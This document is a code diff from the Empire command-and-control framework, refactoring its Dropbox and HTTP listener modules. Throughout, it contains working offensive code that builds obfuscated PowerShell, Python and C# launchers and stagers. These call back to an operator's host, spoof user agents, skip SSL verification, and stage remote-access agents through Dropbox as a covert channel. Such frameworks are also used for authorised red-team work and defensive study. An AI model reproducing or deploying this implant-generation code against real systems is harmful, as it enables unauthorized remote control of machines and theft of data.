- "[!] listeners/dbx generate_launcher(): no language specified!"
- )
- )
+ log.error("listeners/dbx generate_launcher(): no language specified!")
+ return None
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
if (
- listenerName
- and (listenerName in self.threads)
- and (listenerName in self.mainMenu.listeners.activeListeners)
- ):
-
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
# host = listenerOptions['Host']['Value']
staging_key = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
- staging_key = listenerOptions["StagingKey"]["Value"]
- pollInterval = listenerOptions["PollInterval"]["Value"]
api_token = listenerOptions["APIToken"]["Value"]
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
staging_folder = "/%s/%s" % (
baseFolder,
listenerOptions["StagingFolder"]["Value"].strip("/"),
)
- taskingsFolder = "/%s/%s" % (
- baseFolder,
- listenerOptions["TaskingsFolder"]["Value"].strip("/"),
- )
- resultsFolder = "/%s/%s" % (
- baseFolder,
- listenerOptions["ResultsFolder"]["Value"].strip("/"),
- )
if language.startswith("po"):
# PowerShell
@@ -228,7 +226,6 @@ def generate_launcher(
stager += f"$u='{ userAgent }';"
if userAgent.lower() != "none" or proxy.lower() != "none":
-
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
@@ -290,14 +287,13 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
@@ -313,8 +309,8 @@ def generate_launcher(
if safeChecks.lower() == "true":
launcherBase += listener_util.python_safe_checks()
except Exception as e:
- p = "[!] Error setting LittleSnitch in stager: " + str(e)
- print(helpers.color(p, color="red"))
+ p = f"Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p)
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -377,13 +373,6 @@ def generate_launcher(
else:
return launcherBase
- else:
- print(
- helpers.color(
- "[!] listeners/dbx generate_launcher(): invalid listener name specification!"
- )
- )
-
def generate_stager(
self, listenerOptions, encode=False, encrypt=True, language=None
):
@@ -392,11 +381,7 @@ def generate_stager(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/dbx generate_stager(): no language specified!"
- )
- )
+ log.error("listeners/dbx generate_stager(): no language specified!")
return None
pollInterval = listenerOptions["PollInterval"]["Value"]
@@ -438,9 +423,8 @@ def generate_stager(
}
stager = template.render(template_options)
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
- # Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
unobfuscated_stager = listener_util.remove_lines_comments(stager)
# base64 encode the stager and return it
@@ -490,10 +474,8 @@ def generate_stager(
return stager
else:
- print(
- helpers.color(
- "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_agent(
@@ -501,7 +483,7 @@ def generate_agent(
listenerOptions,
language=None,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
version="",
):
"""
@@ -509,11 +491,7 @@ def generate_agent(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/dbx generate_agent(): no language specified!"
- )
- )
+ log.error("listeners/dbx generate_agent(): no language specified!")
return None
language = language.lower()
@@ -531,7 +509,7 @@ def generate_agent(
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
- code = data_util.keyword_obfuscation(code)
+ code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace("$AgentDelay = 60", "$AgentDelay = " + str(delay))
@@ -592,10 +570,8 @@ def generate_agent(
return code
else:
- print(
- helpers.color(
- "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_comms(self, listenerOptions, language=None):
@@ -605,15 +581,8 @@ def generate_comms(self, listenerOptions, language=None):
This is so agents can easily be dynamically updated for the new listener.
"""
baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/")
- stagingKey = listenerOptions["StagingKey"]["Value"]
- pollInterval = listenerOptions["PollInterval"]["Value"]
api_token = listenerOptions["API_TOKEN"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- stagingFolder = "/%s/%s" % (
- baseFolder,
- listenerOptions["StagingFolder"]["Value"].strip("/"),
- )
taskingsFolder = "/%s/%s" % (
baseFolder,
listenerOptions["TaskingsFolder"]["Value"].strip("/"),
@@ -660,17 +629,11 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/dbx generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/dbx generate_comms(): no language specified!")
def start_server(self, listenerOptions):
"""
@@ -721,6 +684,9 @@ def start_server(self, listenerOptions):
<- delete /Empire/results/sessionID.txt
"""
+ self.instance_log = log_util.get_listener_logger(
+ LOG_NAME_PREFIX, self.options["Name"]["Value"]
+ )
def download_file(dbx, path):
# helper to download a file at the given path
@@ -728,11 +694,10 @@ def download_file(dbx, path):
md, res = dbx.files_download(path)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error downloading data from '{}' : {}".format(path, err)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
+ message = (
+ f"{listenerName}: Error downloading data from '{path}' : {err}"
)
+ self.instance_log.error(message, exc_info=True)
return None
return res.content
@@ -743,11 +708,8 @@ def upload_file(dbx, path, data):
dbx.files_upload(data, path)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error uploading data to '{}'".format(path)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
- )
+ message = f"{listenerName}: Error uploading data to '{path}'"
+ self.instance_log.error(message, exc_info=True)
def delete_file(dbx, path):
# helper to delete a file at the given path
@@ -755,11 +717,8 @@ def delete_file(dbx, path):
dbx.files_delete(path)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error deleting data at '{}'".format(path)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
- )
+ message = f"{listenerName} Error deleting data at '{path}'"
+ self.instance_log.error(message, exc_info=True)
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
@@ -787,11 +746,10 @@ def delete_file(dbx, path):
# ensure that the access token supplied is valid
try:
dbx.users_get_current_account()
- except dropbox.exceptions.AuthError as err:
- print(
- helpers.color(
- "[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web."
- )
+ except dropbox.exceptions.AuthError:
+ log.error(
+ "ERROR: Invalid access token; try re-generating an access token from the app console on the web.",
+ exc_info=True,
)
return False
@@ -800,23 +758,22 @@ def delete_file(dbx, path):
dbx.files_create_folder(stagingFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[*] Dropbox folder '{}' already exists".format(stagingFolder)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
+ message = f"{listenerName}: Dropbox folder '{stagingFolder}' already exists"
+ self.instance_log.info(message)
try:
dbx.files_create_folder(taskingsFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[*] Dropbox folder '{}' already exists".format(taskingsFolder)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
+ message = (
+ f"{listenerName}: Dropbox folder '{taskingsFolder}' already exists"
+ )
+ self.instance_log.info(message)
try:
dbx.files_create_folder(resultsFolder)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[*] Dropbox folder '{}' already exists".format(resultsFolder)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName))
+ message = f"{listenerName}: Dropbox folder '{resultsFolder}' already exists"
+ self.instance_log.info(message)
# upload the stager.ps1 code
stagerCodeps = self.generate_stager(
@@ -832,15 +789,13 @@ def delete_file(dbx, path):
dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
except dropbox.exceptions.ApiError:
- print(
- helpers.color(
- "[!] Error uploading stager to '%s/stager'" % (stagingFolder)
- )
+ message = (
+ f"{listenerName}: Error uploading stager to '{stagingFolder}/stager'"
)
+ self.instance_log.error(message, exc_info=True)
return
while True:
-
time.sleep(int(pollInterval))
# search for anything in /Empire/staging/*
@@ -856,16 +811,8 @@ def delete_file(dbx, path):
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error downloading data from '{}' : {}".format(
- fileName, err
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(listenerName),
- )
+ message = f"{listenerName}: Error downloading data from '{fileName}' : {err}"
+ self.instance_log.error(message, exc_info=True)
continue
stageData = res.content
@@ -873,73 +820,37 @@ def delete_file(dbx, path):
stagingKey, stageData, listenerOptions
)
if dataResults and len(dataResults) > 0:
- for (language, results) in dataResults:
+ for language, results in dataResults:
# TODO: more error checking
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error deleting data at '{}'".format(
- fileName
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error deleting data at '{fileName}'"
+ self.instance_log.error(message, exc_info=True)
try:
stageName = "%s/%s_2.txt" % (
stagingFolder,
sessionID,
)
listenerName = self.options["Name"]["Value"]
- message = "[*] Uploading key negotiation part 2 to {} for {}".format(
- stageName, sessionID
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"Uploading key negotiation part 2 to {stageName} for {sessionID}"
+ self.instance_log.info(message)
+ log.info(message)
+
dbx.files_upload(results, stageName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error uploading data to '{}'".format(
- stageName
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error uploading data to '{stageName}'"
+ self.instance_log.error(message, exc_info=True)
if stage == "3":
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error downloading data from '{}' : {}".format(
- fileName, err
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(listenerName),
- )
+ message = f"{listenerName}: Error downloading data from '{fileName}' : {err}"
+ self.instance_log.error(message, exc_info=True)
continue
stageData = res.content
@@ -948,43 +859,22 @@ def delete_file(dbx, path):
)
if dataResults and len(dataResults) > 0:
# print "dataResults:",dataResults
- for (language, results) in dataResults:
+ for language, results in dataResults:
if results.startswith("STAGE2"):
sessionKey = self.mainMenu.agents.agents[sessionID][
"sessionKey"
]
listenerName = self.options["Name"]["Value"]
- message = "[*] Sending agent (stage 2) to {} through Dropbox".format(
- sessionID
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Sending agent (stage 2) to {sessionID} through Dropbox"
+ self.instance_log.info(message)
+ log.info(message)
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error deleting data at '{}'".format(
- fileName
- )
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error deleting data at '{fileName}'"
+ self.instance_log.error(message, exc_info=True)
try:
fileName2 = fileName.replace(
@@ -994,23 +884,11 @@ def delete_file(dbx, path):
dbx.files_delete(fileName2)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error deleting data at '{}'".format(
- fileName2
- )
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error deleting data at '{fileName2}'"
+ self.instance_log.error(message, exc_info=True)
session_info = (
- Session()
+ SessionLocal()
.query(models.Agent)
.filter(models.Agent.session_id == sessionID)
.first()
@@ -1026,45 +904,25 @@ def delete_file(dbx, path):
listenerOptions=listenerOptions,
version=version,
)
+
+ if language.lower() in ["python", "ironpython"]:
+ sessionKey = bytes.fromhex(sessionKey)
+
returnResults = encryption.aes_encrypt_then_hmac(
sessionKey, agentCode
)
try:
- stageName = "%s/%s_4.txt" % (
- stagingFolder,
- sessionID,
- )
+ stageName = f"{stagingFolder}/{sessionID}_4.txt"
listenerName = self.options["Name"]["Value"]
- message = "[*] Uploading key negotiation part 4 (agent) to {} for {}".format(
- stageName, sessionID
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Uploading key negotiation part 4 (agent) to {stageName} for {sessionID}"
+ self.instance_log.info(message)
+ log.info(message)
dbx.files_upload(returnResults, stageName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error uploading data to '{}'".format(
- stageName
- )
- )
- signal = json.dumps(
- {"print": True, "message": message}
- )
- dispatcher.send(
- signal,
- sender="listeners/dropbox/{}".format(
- listenerName
- ),
- )
+ message = f"{listenerName}: Error uploading data to '{stageName}'"
+ self.instance_log.error(message, exc_info=True)
# get any taskings applicable for agents linked to this listener
sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName)
@@ -1085,20 +943,15 @@ def delete_file(dbx, path):
try:
md, res = dbx.files_download(taskingFile)
existingData = res.content
- except:
+ except Exception:
existingData = None
if existingData:
taskingData = taskingData + existingData
listenerName = self.options["Name"]["Value"]
- message = "[*] Uploading agent tasks for {} to {}".format(
- sessionID, taskingFile
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
- )
+ message = f"{listenerName}: Uploading agent tasks for {sessionID} to {taskingFile}"
+ self.instance_log.info(message)
dbx.files_upload(
taskingData,
@@ -1107,15 +960,9 @@ def delete_file(dbx, path):
)
except dropbox.exceptions.ApiError as e:
listenerName = self.options["Name"]["Value"]
- message = (
- "[!] Error uploading agent tasks for {} to {} : {}".format(
- sessionID, taskingFile, e
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
- )
+ message = f"{listenerName} Error uploading agent tasks for {sessionID} to {taskingFile} : {e}"
+ self.instance_log.error(message, exc_info=True)
+ log.error(message, exc_info=True)
# check for any results returned
for match in dbx.files_search(resultsFolder, "*.txt").matches:
@@ -1123,25 +970,20 @@ def delete_file(dbx, path):
sessionID = fileName.split("/")[-1][:-4]
listenerName = self.options["Name"]["Value"]
- message = "[*] Downloading data for '{}' from {}".format(
- sessionID, fileName
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
+ message = (
+ f"{listenerName} Downloading data for '{sessionID}' from {fileName}"
)
+ self.instance_log.info(message)
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error download data from '{}' : {}".format(
- fileName, err
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
+ message = (
+ f"{listenerName}: Error download data from '{fileName}' : {err}"
)
+ self.instance_log.error(message, exc_info=True)
+ log.error(message, exc_info=True)
continue
responseData = res.content
@@ -1150,11 +992,9 @@ def delete_file(dbx, path):
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
listenerName = self.options["Name"]["Value"]
- message = "[!] Error deleting data at '{}'".format(fileName)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/dropbox/{}".format(listenerName)
- )
+ message = f"{listenerName} Error deleting data at '{fileName}'"
+ self.instance_log.error(message, exc_info=True)
+ log.error(message, exc_info=True)
self.mainMenu.agents.handle_agent_data(
stagingKey, responseData, listenerOptions
@@ -1189,14 +1029,11 @@ def shutdown(self, name=""):
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
-
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
- self.threads[name].kill()
+ to_kill = name
else:
- print(
- helpers.color(
- "[!] Killing listener '%s'" % (self.options["Name"]["Value"])
- )
- )
- self.threads[self.options["Name"]["Value"]].kill()
+ to_kill = self.options["Name"]["Value"]
+
+ self.instance_log.info(f"{to_kill}: shutting down...")
+ log.info(f"{to_kill}: shutting down...")
+ self.threads[to_kill].kill()
diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py
index 5417111f6..73fc2e72c 100755
--- a/empire/server/listeners/http.py
+++ b/empire/server/listeners/http.py
@@ -1,39 +1,48 @@
-from __future__ import print_function
-
import base64
import copy
-import json
import logging
import os
import random
import ssl
import sys
import time
-from builtins import object, str
+from builtins import str
from textwrap import dedent
-from typing import List
+from typing import List, Optional, Tuple
from flask import Flask, make_response, render_template, request, send_from_directory
-from pydispatch import dispatcher
from werkzeug.serving import WSGIRequestHandler
from empire.server.common import encryption, helpers, packets, templating
-from empire.server.database import models
-from empire.server.database.base import Session
-from empire.server.utils import data_util, listener_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util, listener_util, log_util
+from empire.server.utils.module_util import handle_validate_message
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "HTTP[S]",
- "Author": ["@harmj0y"],
+ "Authors": [
+ {
+ "Name": "Will Schroeder",
+ "Handle": "@harmj0y",
+ "Link": "https://twitter.com/harmj0y",
+ }
+ ],
"Description": (
"Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach."
),
- "Category": ("client_server"),
+ "Category": "client_server",
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -168,18 +177,21 @@ def __init__(self, mainMenu, params=[]):
)
self.session_cookie = ""
+ self.template_dir = self.mainMenu.installPath + "/data/listeners/templates/"
# check if the current session cookie not empty and then generate random cookie
if self.session_cookie == "":
self.options["Cookie"]["Value"] = listener_util.generate_cookie()
+ self.instance_log = log
+
def default_response(self):
"""
Returns an IIS 7.5 404 not found page.
"""
return open(f"{self.template_dir }/default.html", "r").read()
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
@@ -189,27 +201,22 @@ def validate_options(self):
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
]
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
-
# If we've selected an HTTPS listener without specifying CertPath, let us know.
if (
self.options["Host"]["Value"].startswith("https")
and self.options["CertPath"]["Value"] == ""
):
- print(helpers.color("[!] HTTPS selected but no CertPath specified."))
- return False
- return True
+ return handle_validate_message(
+ "[!] HTTPS selected but no CertPath specified."
+ )
+
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -224,22 +231,20 @@ def generate_launcher(
"""
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/http generate_launcher(): no language specified!"
- )
+ log.error(
+ f"{listenerName}: listeners/http generate_launcher(): no language specified!"
)
+ return None
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
if (
- listenerName
- and (listenerName in self.threads)
- and (listenerName in self.mainMenu.listeners.activeListeners)
- ):
-
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
staging_key = listenerOptions["StagingKey"]["Value"]
@@ -255,7 +260,7 @@ def generate_launcher(
listenerOptions["Cookie"]["Value"] = generate
cookie = generate
- if language.startswith("po"):
+ if language == "powershell":
# PowerShell
stager = '$ErrorActionPreference = "SilentlyContinue";'
@@ -280,7 +285,7 @@ def generate_launcher(
stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
if userAgent.lower() != "none":
- stager += f"$wc.Headers.Add('User-Agent',$u);"
+ stager += "$wc.Headers.Add('User-Agent',$u);"
if proxy.lower() != "none":
if proxy.lower() == "default":
@@ -375,27 +380,26 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
- if language.startswith("py"):
+ if language in ["python", "ironpython"]:
# Python
launcherBase = "import sys;"
if "https" in host:
# monkey patch ssl woohooo
launcherBase += dedent(
- f"""
+ """
import ssl;
if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;
"""
@@ -405,8 +409,8 @@ def generate_launcher(
if safeChecks.lower() == "true":
launcherBase += listener_util.python_safe_checks()
except Exception as e:
- p = "[!] Error setting LittleSnitch in stager: " + str(e)
- print(helpers.color(p, color="red"))
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p)
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -490,7 +494,7 @@ def generate_launcher(
return launcherBase
# very basic csharp implementation
- if language.startswith("csh"):
+ if language == "csharp":
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
customHeaders = profile.split("|")[2:] # todo: support custom headers
@@ -514,9 +518,11 @@ def generate_launcher(
.replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
)
- compiler = self.mainMenu.loadedPlugins.get("csharpserver")
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
- print(helpers.color("[!] csharpserver plugin not running"))
+ self.instance_log.error(
+ f"{listenerName} csharpserver plugin not running"
+ )
else:
file_name = compiler.do_send_stager(
stager_yaml, "Sharpire", confuse=obfuscate
@@ -524,18 +530,9 @@ def generate_launcher(
return file_name
else:
- print(
- helpers.color(
- "[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
- )
- )
-
- else:
- print(
- helpers.color(
- "[!] listeners/http generate_launcher(): invalid listener name specification!"
+ self.instance_log.error(
+ f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
)
- )
def generate_stager(
self,
@@ -543,18 +540,14 @@ def generate_stager(
encode=False,
encrypt=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
language=None,
):
"""
Generate the stager code needed for communications with this listener.
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http generate_stager(): no language specified!"
- )
- )
+ log.error("listeners/http generate_stager(): no language specified!")
return None
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -591,7 +584,8 @@ def generate_stager(
stager = template.render(template_options)
# Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
# make sure the server ends with "/"
if not host.endswith("/"):
@@ -614,10 +608,8 @@ def generate_stager(
unobfuscated_stager = listener_util.remove_lines_comments(stager)
if obfuscate:
- unobfuscated_stager = data_util.obfuscate(
- self.mainMenu.installPath,
- unobfuscated_stager,
- obfuscationCommand=obfuscationCommand,
+ unobfuscated_stager = self.mainMenu.obfuscationv2.obfuscate(
+ unobfuscated_stager, obfuscation_command=obfuscation_command
)
# base64 encode the stager and return it
# There doesn't seem to be any conditions in which the encrypt flag isn't set so the other
@@ -668,10 +660,8 @@ def generate_stager(
return stager
else:
- print(
- helpers.color(
- "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
def generate_agent(
@@ -679,7 +669,7 @@ def generate_agent(
listenerOptions,
language=None,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
version="",
):
"""
@@ -687,11 +677,7 @@ def generate_agent(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/http generate_agent(): no language specified!"
- )
- )
+ log.error("listeners/http generate_agent(): no language specified!")
return None
language = language.lower()
@@ -704,12 +690,12 @@ def generate_agent(
b64DefaultResponse = base64.b64encode(self.default_response().encode("UTF-8"))
if language == "powershell":
-
with open(self.mainMenu.installPath + "/data/agent/agent.ps1") as f:
code = f.read()
- # Get the random function name generated at install and patch the stager with the proper function name
- code = data_util.keyword_obfuscation(code)
+ if obfuscate:
+ # Get the random function name generated at install and patch the stager with the proper function name
+ code = self.mainMenu.obfuscationv2.obfuscate_keywords(code)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
@@ -731,10 +717,9 @@ def generate_agent(
if killDate != "":
code = code.replace("$KillDate,", f"$KillDate = '{ killDate }',")
if obfuscate:
- code = data_util.obfuscate(
- self.mainMenu.installPath,
+ code = self.mainMenu.obfuscationv2.obfuscate(
code,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
return code
@@ -779,10 +764,8 @@ def generate_agent(
code = ""
return code
else:
- print(
- helpers.color(
- "[!] listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module."
)
def generate_comms(self, listenerOptions, language=None):
@@ -801,7 +784,7 @@ def generate_comms(self, listenerOptions, language=None):
]
eng = templating.TemplateEngine(template_path)
- template = eng.get_template("http/http.ps1")
+ template = eng.get_template("http/comms.ps1")
template_options = {
"session_cookie": self.session_cookie,
@@ -828,40 +811,42 @@ def generate_comms(self, listenerOptions, language=None):
return comms
else:
- print(
- helpers.color(
- "[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
- )
+ log.error(
+ "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/http generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/http generate_comms(): no language specified!")
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
+ # TODO VR Since name is editable, we should probably use the listener's id here.
+ # But its not available until we do some refactoring. For now, we'll just use the name.
+ self.instance_log = log_util.get_listener_logger(
+ LOG_NAME_PREFIX, self.options["Name"]["Value"]
+ )
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
# suppress the normal Flask output
- log = logging.getLogger("werkzeug")
- log.setLevel(logging.ERROR)
+ werkzeug_log = logging.getLogger("werkzeug")
+ werkzeug_log.setLevel(logging.ERROR)
bindIP = listenerOptions["BindIP"]["Value"]
port = listenerOptions["Port"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
